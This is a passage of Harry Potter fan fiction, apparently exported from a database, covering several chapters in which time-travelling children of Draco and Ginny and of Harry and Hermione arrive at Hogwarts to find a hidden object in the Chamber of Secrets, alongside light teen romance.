</p><p>The blond just snorted, "Believe me, I\'ve been called worse." </p><center> </center><p></p><p>***************************************** </p><p>"Where could they have gone?" asked Harry in frustration as they headed downstairs. </p><p>"What are we? Baby-sitters?!" Draco snapped, "I\'m sure that they can take care of themselves perfectly fine, Granger." </p><p>"Professor Dumbledore told us to show them around and that means keeping them out of trouble," said Hermione irritably, "No need to get all worked up, Malfoy." </p><p>"Who said anything about trouble, Granger? They\'re probably lost," snorted Draco and almost smashed right into Harry who had suddenly stopped in his tracks. </p><p>"I am sooo stupid!" Harry muttered. </p><p>"Yeah, well what else is new, Potter?" Draco\'s lips curved into his trademark smirk. </p><p>Harry glared at him, "Shut it, Malfoy," before he resumed searching his pockets. </p><p>"Found it," he cried seconds later, taking out the Marauder\'s Map. </p><p>"Knew there was a brain up there somewhere," said Draco, "Now look them up and we can go." </p><p>Hermione was just about to tap the map with her wand when she froze, "Malfoy, you know what this is?" she whispered. </p><p>"Of course, it\'s Potter\'s famous map of Hogwarts." </p><p>Hermione paled before looking at Harry, "Don\'t ask, it\'s a long story." he said quietly before averting his gaze. </p><p>After awhile, "Are you sure this old rag works, Potter?" </p><p>"Of course it does!" said Harry irritably, "They\'re on here somewhere...but why are all the last names missing....Malfoy!" </p><p>"What?" Draco said defensively. </p><p>"Did you do something to my Map the last time you borrowed it?" Harry gave him a suspicious glance. </p><p>"Yes, just so I can make both our lives miserable - of course not, Potter!" </p><p>"What happened?" asked Hermione. </p><p>"All the last names are gone!" said Harry in frustration. </p><p>Ever the smart one, Hermione thought back to an earlier conversation. "Why don\'t you try looking for the name Shawn? I don\'t think there\'s anybody else into the school with that name." </p><p>"Okay, they\'re in...Dumbledore\'s office?!" said Harry incredulously a moment later. </p><p>"But wouldn\'t we have seen them on our way down?" asked Hermione. </p><p>"Not if they went that way," said Harry pointing to the map. </p><p>"And I would get the hell out of here quick if I were you." said Draco, already on his way to the staircase. </p><p>"Why?" demanded Hermione. </p><p>"In case you haven\'t noticed, Granger, there\'s a little dot named Argus heading straight this way..." </p><center> </center><p></p><p>************************************************** </p><p>Meanwhile, back at the office.... </p><p>Nina had resumed her pacing while Shawn looked around, bored. Benjamin was petting Fawkes absentmindedly while observing the whirling silver instruments that stood on the spindle-legged tables. </p><p>Shawn had gotten tired of waiting. Moodily, he fingered the Sorting Hat and unconsciously placed it on his head..."Ah, what have we here?" said a small voice in his ear. </p><p>"Hmm....interesting, another Malfoy. Not from here, obviously. A Gryffindor, eh? Well, I\'m sure I had a hard time making up my mind about you!" </p><p>"Why is that?" thought Shawn. </p><p>"You would have done exceptionally well in Slytherin House as well." </p><p>"I asked to be placed in Gryffindor." </p><p>"Yes, but you would have done well in Slytherin as well. It\'s in your blood." </p><p>Shawn gritted his teeth in anger, but just before he was about to tell off the Sorting Hat, Dumbledore walked in. </p><p>Jerking the Hat off in anger, he glared at it for a second before resuming his seat in front of the desk. "You\'re wrong," he thought darkly, looking at the Hat. </p><p>"Professor Dumbledore, we\'ve seem to have ran into a tiny problem," said Nina uncomfortably. </p><p>"I was wondering when she would find out," said Dumbledore, smiling. </p><p>"You were already aware of this?" asked Shawn, raising an eyebrow. </p><p>"Yes, Ms. Weasley came to see me a few months earlier regarding some curious visions she was having. I had to convince her that she wasn\'t going crazy even though she kept on seeing Mr. Malfoy in her visions." smiled Dumbledore, his eyes twinkling. </p><p>Nina and Ben both hid a smile as Shawn buried his head in his hands, "I am so doomed." </p><center> </center><p></p><p>********************************************** </p><p>Ginny sat impatiently through History class, her mind unconsciously tuning out Professor Binn\'s tedious drone. Her thoughts were focused solely on the three "new students" she had met earlier. </p><p>"Shawn looks so much like Draco," she mused to herself. "I wonder who he acts like though." Ginny thought about this for a moment before she came to a conclusion, "Probably Draco, only without the smartass attitude - I hope. Well, he did make it into Gryffindor, I suppose that has to count for something..." </p><p>Her thoughts were interrupted when an owl flew in through the open window. Professor Binns stopped midway through his lecture of the various torture methods from the Salem Witch Trials to read the note. </p><p>"Ms. Weasley, Professor Dumbledore wants to see you after class. Now where was I?" he continued in his monotonous tone, while the rest of the class whispered to each other. </p><p>"What does Dumbledore want to see you for?" Natalie whispered to Ginny, "What did you do this time?" </p><p>"I didn\'t do anything...yet." Ginny said the last part under her breath. However, she remained quiet for the rest of the class and not even Natalie could pry out of her what was the matter. </p><p>Immediately after the bell rang, Ginny had to restrain herself from knocking down the people in front of her, who, she thought, seemed to be walking even slower than usual today. </p><p>However, in her hurry, she didn\'t notice Natalie glancing after her with a strange look on her face. </p><p>"First my visions, then Malfoy decides to kiss me senseless and now my son decides to pay me a visit." thought Ginny dryly as she hurried along to the third floor. "Next thing I know, I\'ll be seeing my grandchildren as well." </p><p>She arrived at the gargoyle which glanced at her and immediately jumped aside. Hurrying through the hole in the wall, Ginny climbed the spiral stairs and entered the Headmaster\'s office. </p><p>Dumbledore waved her to a chair beside Shawn. </p><p>"Ah, Ms. Weasley, please take a seat. I believe our three new students have a rather interesting story to share with you." </p><center> </center><p></p><p>***************************************** </p><p>Meanwhile, Hermione, Harry and Draco had split up, Harry having to go to Quidditch practise and Draco to who-knows-where, all the way muttering about how Malfoys didn\'t baby-sit. </p><p>Hermione, however, had decided to head to the library when somebody smashed straight into her. She barely caught herself as she realized who it was. Natalie sat on the ground shaking her head. "Sorry about that." said Natalie, groaning, "I seem to run into a lot of people these days." Hermione extended her hand to help the other girl up, "Why are you in such a hurry anyway?" </p><p>"I was looking for Ginny. I don\'t know why, but she\'s been acting even more weirdly then usual ever since lunch ended. Would you happen to have any idea why?" </p><p>Hermione had a pretty good feeling it had to go with the new blond student who seemed to be on a first name basis with her, but the brown-haired girl kept her mouth shut. "I don\'t know, but I\'m sure Ginny will be fine." </p><p>Natalie smiled, "Thanks Hermione." The older girl smiled back and continued on her way. However, Natalie was determined to get to the bottom of this mystery. Pausing in front of the entrance to the Headmaster\'s office, she looked around for a second before she pulled out her wand. Having a father who was also a professor had it uses, afterall, including a password that allowed entry to all the entrances to be found inside the castle. Natalie quickly tapped the gargoyle and jumped in after it sprang aside. </p><p>Stopping at the heavy oak door, she leaned slightly over to peer through the crack and began listening to the intriguing conversation currently taking place on the other side. </p><center> </center><p></p><p>******************************** </p><p>This is kind of a..."filler" chapter, in a way, seeing as nothing much happened. Of course, it does add a few more plot twists...^.~ <br/> </p><p>As usual, please tell me what you think so far. Comments, threats and whatnot. '),
	(204, 5, 'Off-Limits by Blue Lady <p> Sorry for taking so long! I was the middle of revising Chapters 1-3, but I never seemed to be able to find the time, so it took waaaaaaaaaaaayyyy longer than I expected. Thanks for being so patient though. </p><p>Chapter 5: Tale of a Dark Future </p><p>Meanwhile, Ginny listened with rapt attention as the kids began their story. </p><p>"It all began about a year ago. Things reminiscent of the Last Wizarding War began to spring up again. It seemed as though a new wave of terror had begun again." began Ben. </p><p>"At first, most wizarding folk didn\'t really take it that seriously, after all, Lord Voldemort had been dead for years. They thought it would just blow over. Only some of the Aurors took it seriously." </p><p>"My dad certainly did," said Shawn, taking off from where Ben had left off, "Since he was the one who had infiltrated the Death Eater ranks which resulted in Voldemort\'s defeat, he knew he was going to be very high up on their hit list." </p><p>Ben continued, "Meanwhile, my parents weren\'t too keen about the idea of a Dark Lord from the Undead either." </p><p>"I remember Mom saying to Dad that she and Uncle Ron were getting too old to haul Dad\'s butt out of trouble every time he had to go off and save the world." Nina commented. </p><p>"Then incidents began happening. People were getting attacked randomly, sometimes even in bold daylight. Then a few months later, the Dark Mark appeared for the first time since Voldemort\'s defeat many years ago. It seemed as though Voldemort had come back to life." </p><p>"But that wasn\'t so," Shawn continued, "It was the work of somebody even more powerful than Voldemort had been. He was known as the Lord Elddir. The rumors were that he was Voldemort\'s illegitimate son and he was even more unstoppable than his father had ever been. Then one day-" he stopped abruptly. </p><p>Nina placed a comforting hand on Shawn\'s shoulder and explained to Ginny and the Headmaster what had happened. </p><p>"One day near the end of summer vacation, there was a Death Eater attack on Malfoy Manor. Shawn, Estella and Cindy had managed to escape to our house by Floo Powder, but his parents must have blasted the fireplace apart after they left, so that the Death Eaters couldn\'t go after them. My dad and the other Aurors had rushed off immediately to the Manor, but when they arrived, the Dark Mark was hanging in the air and the house was on fire. The Death Eaters had disappeared...but so had his parents." </p><p>The office was silent for awhile. It didn\'t take much to realize that the Death Eaters had probably blasted Draco and Ginny into oblivion or else they were prisoners. </p><p>Ginny glanced at Shawn. His head was bowed, but even she could see the unhappy expression on his face. Her heart went out to him - the poor kid probably blamed himself for getting his parents into that mess even though he had nothing to do with any of it. </p><p>Shawn was startled as Ginny gave him a warm hug and he hugged her back. Normally he wouldn\'t be caught dead in a position like this in public. "It\'s not your fault," said Ginny softly, "I know I would do the same thing if that ever happened again." </p><p>"Thanks...Mom." said Shawn and he looked up at her, "Am I suppose to call you Mom or Ginny, anyways?" </p><p>"Call me Ginny when there are other people around." Ginny grinned at him, "I can see that this is going to get some used to." </p><p>Shawn smirked. </p><p>Ginny blinked, "But don\'t start calling Malfoy, Dad yet, okay?" Inwardly she groaned, "He looks too much like Draco for his own good." </p><p>The blond shrugged, "He probably wouldn\'t believe me if it wasn\'t accompanied by ten DNA tests. By the way, do you think Dad\'s a good kisser?" he asked, tongue-in-cheek. </p><p>"Well, he\'s not that bad, considering he\'s the only one I\'ve- Shawn Xavier Malfoy!" Ginny flushed. </p><p>"Ah...." said Shawn, "Just wondering." when Ginny scowled at him. </p><p>He glanced to the side to see Ben and Nina giving him their "I told you so" look. </p><p>Shawn had to restrain himself from jumping when Professor Dumbledore suddenly spoke. The Headmaster had remained unusually silent throughout their "reunion". "I wonder if Ms. Palmer would like to join us." </p><p>Ginny, Shawn, Benjamin and Nina all gaped as Natalie walked in sheepishly. </p><p>Ginny was the first one to speak, "Natalie!" she said accusingly. </p><p>Natalie looked at her shoes, "Sorry, Ginny, I was worried about you. You haven\'t exactly been yourself ever since school started and you kept on spacing out this afternoon." </p><p>Ginny gave a small smile, "Thanks for being a friend, Natalie," and she gave her a hug. </p><p>"Thanks for not being angry." She paused, "It is nice to have my best friend back though" Natalie grinned suddenly as she turned to Shawn, "Don\'t worry, at the rate Ginny and Draco are going, you\'ll be lucky if you not born at least two years ahead of schedule" </p><p>"Natalie!" </p><p>**************************************** </p><p>"So, is this guy unstoppable?" asked Natalie, once they had all calmed down. </p><p>"From what I have gathered from Benjamin, Nina and Shawn\'s accounts of the events, he seems to be even more powerful than Voldemort was at the height of his power. However," said Dumbledore, his eyes twinkling, "Even a Dark Wizard, no matter how powerful, has his weak spot." </p><p>"Um, one problem, Professor, the Aurors have tried every single curse, hex and spell they can think of. I think he may very well be invincible." said Shawn. </p><p>Ben cleared his throat, "Actually, there\'s something I forgot to mention. A few days before we left, I think my Mom had discovered what this weak spot is." </p><p>Seeing he had everyone\'s attention, he continued, "Remember Tom Riddle and the Chamber of Secrets? Sorry, Aunt Ginny," he added as Ginny shivered unconsciously. </p><p>"Well, I remember Dad saying that Riddle was like that too, but he disappeared after Dad had driven a Basilisk tooth into his diary. Well, apparently Elddir was like that too, only there\'s one little problem." </p><p>He nodded to Nina who continued on with their story. </p><p>"When the term started, Mom and Dad immediately sent us to Hogwarts, after all, as Dad was fond of telling us, the safest place is where Professor Dumbledore is." <br/>\n "Your father overestimates me sometimes, Ms. Potter." remarked Dumbledore. </p><p>Nina smiled sadly, "Afraid so, Professor, because disaster soon stuck. There was a Death Eater attack at Hogwarts one afternoon and even though the students weren\'t seriously hurt, the East Wing of the castle was blasted into oblivion. Mom and Dad arrived soon afterwards and it was only then we found out why." </p><p>Ben took over, "As you probably know, the East Wing was where the Chamber of Secrets was located. Well, apparently Elddir had hidden an object in there when he was a student at Hogwarts. It\'s similar to Riddle\'s diary because if you destroy that object, he is no longer invincible. The only problem is that whatever that object is, it\'s now buried under a couple hundred feet of rubble, plus we don\'t even know where it was in the first place." </p><p>"Which is why we\'re here." said Shawn. "It was hidden sometime in Dad\'s second year. Yes that\'s the year when the Chamber was last opened. How do you think he got in if it wasn\'t?" he said, answering Natalie\'s unspoken question. </p><p>Ginny frowned, "So we\'re suppose to find this object and destroy it first?" </p><p>"That\'s the basic idea." Shawn told her. </p><p>Natalie looked around, "I think we need to let a couple more people into this secret. After all, the more help we can get, the better. But since we don\'t know who exactly this Dark Wizard is, we\'ll have to be careful." she said thoughtfully. </p><p>Ginny nodded, "How about Harry and Hermione?" </p><p>Ben and Nina glanced at each other. "How about we include Dad later? He had this tendency to find trouble, besides, I think he needs a vacation from all this life-saving stuff." said Ben. </p><p>"Besides," added Nina, "I don\'t think he has terribly fond memories of the Chamber of Secrets." </p><p>"But what if there\'s another Basilisk in there?" demanded Natalie, "We need somebody who can speak Parseltongue." </p><p>Ben and Nina both grinned, "You\'re looking at them." said Ben. </p><p>Shawn looked at them in surprise, "You two can speak Parseltongue?" </p><p>Ben smiled and hissed at him, "<i>Did I forget to mention it? Ssssorry.</i>" </p><p>The blond glared at him. </p><p>"Well, that solves that problem," said Ginny briskly, "And we need to get Hermione in on this when she finally believes that you three are from the future, most probably after alot of convincing and one or two DNA tests. Of course, we\'ll have to wake her up first after she faints dead away from shock when I tell her." </p><p>Four pairs of eyes stared at her. </p><p>"What?" </p><center> </center><p></p><p>****************************************** </p><p>The five of them walked back to the Gryffindor Common Room, Benjamin and Nina in the front with Natalie. Ginny and Shawn walked behind them silently. </p><p>Ginny found herself glancing at Shawn occasionally. "Do I have something on my face, Mom?" asked Shawn after awhile. Ginny flushed at having been caught staring. "No, I just need some time to get use to this." </p><p>"So do I," thought Shawn, stopping as they arrived at the Portrait of the Fat Lady. </p><p>"Chocolate frogs" said Benjamin before the Portrait swung open. As they made their way up into the Common Room. </p><p>Nina smiled as she found herself back in her home-away-from-home. The Common Room was pretty much empty, except for Hermione, who was curled up in front of the fire, reading. </p><p>She looked at Ginny who took a deep breath. "Well, here goes." </p><p>Ginny walked slowly towards the older girl. Hermione looked up and smiled as she spotted Ginny, "Hey Ginny, Natalie said she was looking for you." </p><p>"She found me." She paused, "Anyways, I know you may not believe what I\'m about to tell you, but it\'s all true." </p><p>"We need your help." </p><p>Hermione looked confused, "We?" </p><p>Ginny waved the others over. Hermione raised an eyebrow as Benjamin, Nina and Shawn came into view. </p><p>"I\'m afraid our three exchange students haven\'t properly introduced themselves yet." said Ginny, her lips pressed into a thin line as she watched Hermione closely. </p><p>Shawn was the first one to speak, "Shawn Malfoy." </p><p>"Nina Potter." </p><p>"Benjamin Potter." said Ben quietly. </p><p>There was silence as Hermione glanced slowly around, from Shawn to Benjamin to Nina. </p><p>Finally her sharp mind processed what they seemed to be implying... </p><p>"You\'re <i>kidding</i>." </p><center> </center><p></p><p>****************************** </p><p>As usual, please review and tell me what you think so far. '),
	(204, 6, 'Off-Limits by Blue Lady <p>I don\'t own Harry Potter, but I know who does! (Doesn\'t that count for something?!) I was always about a chapter ahead on FF.net with this story, but since I\'ve paused that one for..oh, half a year to revise all the chapters I had up, it\'s now at the same speed with this version. I really should update my stuff, I guess. *sweatdrops* Thanks to all those people that took the time to review Chapter 5. <br/> </p><p>Chapter 6: The Pensieve </p><p>"Believe me, that\'s what I thought at first," chuckled Natalie. </p><p>Hermione raised an eyebrow, "I\'ll take your word for it. Okay, let me guess." She looked at Shawn, "Draco and Ginny, right?" Shawn nodded. </p><p>Her cinnamon brown eyes travelled over to Ben and Nina, "Harry, no doubt, and..." and then she paused for a second. "Cho?" she said tentatively. </p><p>Ginny\'s eyes narrowed, "What do you mean?" </p><p>Natalie and Shawn exchanged a knowing glance as the Potter kids groaned. "Look who\'s doomed now," said Nina under her breath. </p><p>"Nobody\'s doomed!\' said Ginny sharply, glaring at Natalie who was shaking silently with laughter. </p><p>"Not yet anyways," was the muttered response. </p><p>"I told you she catches on quick," remarked Natalie after she had calmed down a bit, "But that\'s only 9/10, Hermione." </p><p>"And why is that?" asked the genius, raising an eyebrow. </p><p>"Harry is not ending up with Cho." </p><p>Hermione still looked in doubt. </p><p>"And Malfoy here thought he had a hard time," Ben thought a bit sourly as he wondered how many tests his mom wanted to run on him before she believed that he was her kid and not Cho\'s. He grimanced. </p><p>Ginny sighed before she grabbed Hermione\'s hand. Yanking the brown-haired girl to her feet, she dragged her in the direction of the girl\'s dormrooms. "The rest of you, just wait here a sec, okay? I want to show Hermione something." </p><p>********************************** </p><p>"What is it, Ginny?" asked Hermione as the other girl began rumaging through her trunk. </p><p>Under many layers of clothes, parchment, books and other stuff, Ginny finally found what she was looking for. </p><p>She carefully pulled the glowing object out and handed it to Hermione. </p><p>"Is this what I think it is?" asked Hermione in wonder as she gazed at the shallow stone basic which was shining with a bright silvery white light. </p><p>"Yes," said Ginny, "It\'s my pensieve. Here, there\'s one particular memory I think you\'ll be interested in..." </p><p>She moved it around in her hands for a few seconds, trying to sift through the swirling light to find the memory she wanted. </p><p>"Here," she said, handing it to Hermione, "Just look at it, okay?" </p><p>Hermione found the request a bit curious, but nevertheless she complied. Pressing her face closer to get a better look, she suddenly found herself thrown forwards and pitched headfirst into the whitish silver substance. </p><p>Suddenly, Hermione found herself in an elaborately decorated room. Turning around and discovering hundreds of pairs of eyes on her, she flushed. </p><p>"I\'m sorry, I-" That was when she noticed that nobody was paying any attention to her. Their eyes were fastened solely on the front of the room. Suddenly they all began clapping and cheering. </p><p>Her eyes widened as she finally turned to face the front where an older version of Harry and her were waving happily to the crowd. As her older self threw the bouquet, the scene in front of her slowly dissolved as another one replaced it. </p><p>She found herself in a huge living room, but she wasn\'t the only one there. Sitting on the couch were her and Ginny. </p><p>Hermione watched fascinated as her older self beckoned to a girl of no more then two towards her. The girl was just learning to walk as she walked quite unsteadily. Finally she made it to her arms where her older self promptly hugged her, "I\'m so proud of you, Nina," she said. Beside her, a older Ginny watched amusingly. </p><p>Suddenly, the door burst open and in ran two boys, one with messy black hair and one with pale blond hair. Hermione guessed that were about three to four years old. </p><p>"Tag, you\'re it!" yelled Ben cheerfully as he finally caught up to his friend. </p><p>"Hey, no fair!" protested the blond. </p><p>"Now Shawn," admonished Ginny\'s older self, "He did tag you." </p><p>Shawn scowled. </p><p>"Interesting, isn\'t it?" Hermione was startled as Ginny suddenly appeared beside her. "I can show you more if you like," she offered. </p><p>"No," said Hermione, looking at the scene with an undescribed feeling of joy inside her. Her children. Harry\'s and her children. "I believe you." </p><p>************************************ </p><p>Meanwhile, Natalie, Shawn, Nina and Benjamin were waiting down in the common room. Ben and Natalie were engaged in a game of Exploding Snap. Suddenly they heard footsteps coming their way. </p><p>The brown-haired genius was looking usually thoughtful. Ginny gave them the thumbs-up sign from behind Hermione. </p><p>"How did you manage convince her?" whispered Natalie, as Ginny sat down beside her on the couch. Hermione took the armchair while the three kids were currently sprawled on the floor. </p><p>"I have my ways." smiled Ginny mysteriously. </p><p>As Hermione gazed at Benjamin, Nina and Shawn, she wondered how she could have been so dense. Of course, she had recognized the fact that Ben and Shawn did bear a somewhat close resemblance to Harry and Draco, but she had simply shrugged it off as being unimportant. Her next thought was: How was Harry going to react when he finally figured out Benjamin and Nina\'s real identities? </p><p>Ben\'s voice broke into her thoughts. "Harry and Ron are headed straight this way," he said calmly, looking at the Marauder\'s Map on the floor beside him. </p><p>"I guess I should be going now." said Shawn uncomfortably, "Can I borrow your cloak, Ben?" </p><p>Ginny turned her head towards him, sensing his sudden change in mood. "What\'s wrong Shawn?" </p><p>Her son gave her a slightly sheepish smile, "I don\'t think Uncle Ron would enjoy finding a "Slytherin" inside the Gryffindor Common Room." </p><p>Natalie gave Ginny an amused glance, "And I\'m sure we\'re all familiar by now with your brother\'s tendency to strangle a certain Malfoy...." </p><p>"If he lays a hand on Shawn, I\'ll hex him, favorite brother or not." growled Ginny. </p><p>"Nah, then he\'ll think that I\'m manipulating you or something...and we all know that Dad\'s the only one that can do that." smirked Shawn as Ginny made a face at him. </p><p>Putting on the cloak, he placed a hand on her shoulder. "I\'ll see you tomorrow, Mom." </p><p>"Bye Shawn." said Ginny softly as the portrait swung open. Shawn quickly snuck out behind Ron and Harry before it closed again. </p><p>***************************************** <br/> <br/>\n Later that night: </p><p>Hermione sat on her bed, seemingly engrossed in her copy of Hogswarts, A History. However, her mind was anywhere but. She was a mother...well, for the time being, anyways. While Nina and her had been on friendly terms this morning, she couldn\'t help but think that everything had changed now with the revelation of their new identities. What if Nina and Ben ended up thinking that she was a horrible mother? What if..."Arrggh.." thought Hermione in frustration - there were so many things that could go wrong it wasn\'t even funny. </p><p>Her chain of thought ended abruptly as Nina suddenly spoke up. "Um..Hermione?" </p><p>"Yes Nina?" she asked kindly. </p><p>"You\'re not, um...mad, are you?" asked Nina nervously and then she rushed on, "I mean, I understand if you are-" </p><p>"What ever gave you that idea?" interrupted Hermione, staring at her in amazement. </p><p>Nina looked at the floor, "Well, I guess I should\'ve told you who I was at the beginning, but Professor Dumbledore said not to, and well...please don\'t be mad." she pleaded. </p><p>She was startled as the other girl suddenly walked over and evaloped her in a giant hug. </p><p>"Oh Nina," said Hermione, "Of course I\'m not mad. After all you and the boys have been through, I\'m just happy all of you are okay." </p><p>"Besides," she continued after a slight pause, "I\'m not even sure that I can live up to your expectations of what you\'re used to expecting from your real mother." Hermione confessed. <br/> <br/>\n "I guess we\'re even then." said Nina and then she gave an involuntary yawn. </p><p>Tucking her in, Hermione brushed Nina\'s long black bangs away from her eyes. "Good night, Nina." </p><p>"Night..Mommy." </p><p>Meanwhile... </p><p>"So where were you all afternoon?" Harry asked Ben. </p><p>"In the Headmaster\'s office." Harry noted inwardly that Ben hadn\'t lied about his wherabouts. "Sorry for running out on you like that," continued Ben with a slightly sheepish smile. </p><p>"That\'s okay. So..you\'re best friend is Adam, right?" </p><p>"Adam?" thought Ben confusingly until he remembered that it was what they were calling Shawn. "Oh yeah, we grew up together." </p><p>"He looks an awful lot like Draco." remarked Harry, "Think they\'re related?" </p><p>"I wouldn\'t be surprised." said Ben, even though Harry wouldn\'t get his double-meaning. </p><p>**************************************** </p><p>"Mom! Dad! I\'m not leaving you!" Draco jerked awake to the yells of his new roommate. He squinted at the clock beside his bed. 2:31a.m. It was definately waaaaaaaay too early. </p><p>"Kid must be having a nightmare," he thought sleepily. Pushing aside the curtains, he walked across to the other bed. Adam would wake up the entire house soon if he didn\'t stop yelling out loud. </p><p>"Hey, Adam." he said, shaking Shawn\'s shoulder. "Adam!" </p><p>Shawn\'s eyes flew open. For a minute he stared at Draco as though he had saw a ghost. </p><p>"Are you okay?" asked Draco after awhile. </p><p>Shawn blinked, "I am now." and he added apolegetically, "Sorry for waking you." </p><p>"It\'s not your fault," said Draco gruffly. </p><p>As Draco headed back to bed, Shawn sat up and leaned against the headboard. What was it with that dream of his? Was he doomed to witness his final glimpse of his parents for the rest of his journey?! </p><p>A memory sudden floated to the surface of Draco\'s mind as he shifted under the covers. Somehow it brought back memories of the time when he had managed to get himself locked up in a dungeon at Malfoy Manor with Harry last year. It was only then did he find that Boy Wonder still had nightmares about his parent\'s death every now and then. <br/> <br/>\n As Draco drifted off into sleep, his last coherant thought was "Don\'t be going all Potter on me now, Junior..." </p><p>********************************** </p><p>Yes, the kids finally have some interactions with their parents. Not much D/G or H/Hr for now..sorry about that, but I can\'t have them snogging each other without a good reason...or can I? Hmm..I guess I\'ll think of something. *grins* <br/> '),
	(204, 7, 'Off-Limits by Blue Lady <p>Ah...I have finally figured out approximately the direction this story is heading. Yay me! *grins* Also, Natalie\'s going to play a more vital role as the story progresses....whether or not she ends up with Ron remains to be seen though. As usual, I do not own Harry Potter...okay...if someone is dumb enough to sue me, then chances are they\'re not going to be smart enough to win. Enough said. I am aware that it has been an awful long time since I\'ve last updated. Sorry for the long wait!! </p><p>Thanks to all the people that reviewed Chapter 6! =) </p><p>Chapter 7: Dreams, Potions and Evil Plans </p><p>Harry was tired. After an exhausting Quidditch practice to prepare for the upcoming Gryffindor-Ravenclaw match, he was really looking forward to a shower and after, collapsing onto his nice warm comfortable bed. Anyone who tried to wake him before his alarm rang tomorrow would be cursed with the most horrible hex he knew. </p><p>As he wearily entered his room and pushed the door shut behind him, his exhaustion was quickly replaced by surprise as he noticed the figure sitting at the end of his bed. </p><p>It took a few seconds before he finally managed to speak. "Hermione?" he croaked, "What are you doing here?" </p><p>His best friend simply gave him a mischievous smile as she walked up to him. </p><p>"I was waiting for you," she whispered as she wrapped her arms around his neck. </p><p>Harry felt his breath catch in his throat. "Oh." </p><p>However, he couldn\'t deny the fact that this wasn\'t typical Hermione behavior. Someone must have added something to her dinner. Now...the only question was - what was he suppose to do now? </p><p>All thought immediately fled as he felt her lips brushing against his. With a groan, he crushed her against his body, hungrily devouring her lips with a passion he didn\'t know he possessed. Seconds later, he was pulling her down with him onto his bed, one of his hands tangled up in her hair while the other one held her tightly against him. Finally separating for air, Harry raised his head and her passion-filled eyes met his before she pulled his head down to hers again. </p><p>At that moment, his alarm clock chose to go off. Trying to ignore the annoying shrill, he broke their kiss regretfully as he reached over - and fell right out of bed. </p><p>"Ow! Damnit..." Harry shook his head as he pulled himself up against the bed. That was when he noticed the faint ray of light beginning to seep through the curtains into the dark room. </p><p>"Hermione?" But as he looked around, the room was empty. That\'s strange. He could have sworn he had just been kissing Hermione... </p><p>Running his hands through his hair, he looked around the room. "Did I just dream all that?" he asked himself in disbelief. Glancing over to see that Zach\'s curtains were still shut, he sighed in relief. At least his little dream hadn\'t awoken his new roommate. </p><p>Yet, it had seemed so real though....but when did Harry Potter start dreaming about making out with his gorgeous, brainy best friend? </p><p>Harry\'s eyes widened before he gave himself a firm shake. "Now I know I\'m going crazy." he muttered as he climbed back into bed. </p><p>Behind the curtains in the other bed, Ben smiled as he leaned back, idly twirling his wand around his fingers. "Part 1 of Operation Matchmaker successfully carried out." </p><p>*********************************** </p><p>Ginny was walking down the hallway when she realized that she had forgotten her Transfiguration textbook in the Common Room. Heading for Gryffindor tower, she was startled when a hand suddenly covered her mouth and she found herself being dragged into a dark broom closet. </p><p>"What the-" Ginny struggled against her abductor, but then she heard a familiar voice in her ear. </p><p>"Calm down, Virigina." said Draco softly, his warm breath caressing her cheek. He had been looking for an opportunity to kiss the redhead again. Somehow that kiss the other day had left him yearning for more and when he saw her coming down the almost empty hallway, this gave him the perfect opportunity to get in some more snogging. </p><p>"What do you think you\'re doing?" Ginny hissed, yanking his hand away from her mouth. </p><p>"I think we have some unfinished business to take care of," he replied coolly. </p><p>"And what gives you the right to kiss me senseless whenever you feel like it?" she asked crossly. It wasn\'t that Ginny minded being kissed senseless by the handsome Slytherin, she just didn\'t like being cornered every single time Draco felt the urge to kiss her. </p><p>"You didn\'t seem to mind the last time, Weasley." drawled Draco. </p><p>"So we\'re back to last names now, aren\'t we?" Ginny was furious, partly at him for putting her in this situation and partly at herself knowing he was right, "And quit smirking at me." Draco chuckled, but didn\'t say anything. </p><p>Ginny shot him a dirty look, but she knew that he wouldn\'t see it in the darkness of the closet. His arm was draped lazily around her waist and one of his hands had traveled under her shirt, stroking the smooth skin of her back. </p><p>"Grr..You are infuriating!" she finally grounded out after a moment of silence, yanking on his robes. </p><p>Unfortunately, she had pulled harder than expected because Ginny soon found herself flattened against the wall with Draco pressed tightly against her. </p><p>"Smooth move, Virginia." Ginny swore she could see the smirk on his face in the darkness. </p><p>"Just shut up and kiss me already." she grumbled and then her eyes widened. "Wait! That wasn\'t what I-" </p><p>"Too late." Draco\'s lips descended upon hers before she got the chance to finish her sentence. </p><p>************************************** </p><p>About ten minutes later, Ginny rushed to the Gryffindor table and took her seat between Nina and Natalie. </p><p>"You do realize that you look you\'ve just been making out with someone?" Natalie commented nonchalantly. </p><p>"I really didn\'t notice." came the sarcastic reply, "And it\'s all you-know-who\'s fault!" she shot a dirty look over at the Slytherin table. </p><p>"Frolicking with the Dark Lord now, aren\'t we? My, what Draco must be thinking..." </p><p>"Yes, yes." said Ginny briskly, digging into her lunch. </p><p>Natalie rolled her eyes, "Ginny, did I mention that I\'m running away with Seamus to Australia and that Harry just proclaimed his undying love for Crabbe?" </p><p>"Whatever you say." replied Ginny absentmindedly. </p><p>Natalie gave Hermione an exasperated look across the table and tried again. "Ginny, Draco\'s kissing Blaise at the Slytherin table." </p><p>"What?! She can\'t do that! That jerk is MINE!" Ginny was furious as she quickly scanned the Great Hall for the said couple. </p><p>Seconds later, she flushed scarlet as she noticed Natalie trying hard not to snicker. </p><p>"Get a life." the redhead growled, trying to hid her burning face beneath her long hair as Natalie finally burst out laughing. </p><p>********************************** </p><p>As Hermione waited for the others to finish, she thought back to their conversation yesterday... </p><p>The five of them, Hermione, Ginny, Natalie, Ben and Nina had gathered in Ginny\'s room to discuss their plans. </p><p>"We need a plan of some kind." Ben began. </p><p>"Okay, but first, let\'s start with what we know." Natalie interrupted. "We don\'t know who this bad guy is in the present or if he\'s even here. We think that there\'s something in the Chamber of Secrets that can stop him, but we don\'t know what this is either. However, we do know that it\'s the only thing that can stop him." </p><p>Ginny nodded. "That\'s about it." </p><p>"So most of it is guessing," said Hermione, scribbling into her notebook, "But we\'ll have to make do." </p><p>"Okay then," said Ginny briskly, "First things first. We need find a day to sneak down into the Chamber. It\'s almost Winter Break and since most of the students are going home, there won\'t be much people hanging around." </p><p>"And that\'s about all we can do right now, since there\'s nothing I can research at this point in time." </p><p>"Meanwhile, one of us has to keep an eye on people so they don\'t catch onto our activities - as well as any potential Elddir candidates." finished Natalie. </p><p>"That sums it up nicely." remarked Nina quietly. Little did the other three know that the kids also had an agenda of their own - something they had dubbed "Operation Matchmaker". </p><p>***************************** </p><p>"Palmer. You\'re partners with Anderson." called Severus as he proceeded to pair off the rest of his Fifth Year Potions class. </p><p>"Weasley. Lewis." </p><p>"Hi, Natalie." said her partner as he sat down beside her. Natalie gave him a bright smile. Even though Ricky Anderson was in Slytherin, she still found him to be pleasant company. Sometimes, she wondered why he was in Slytherin in the 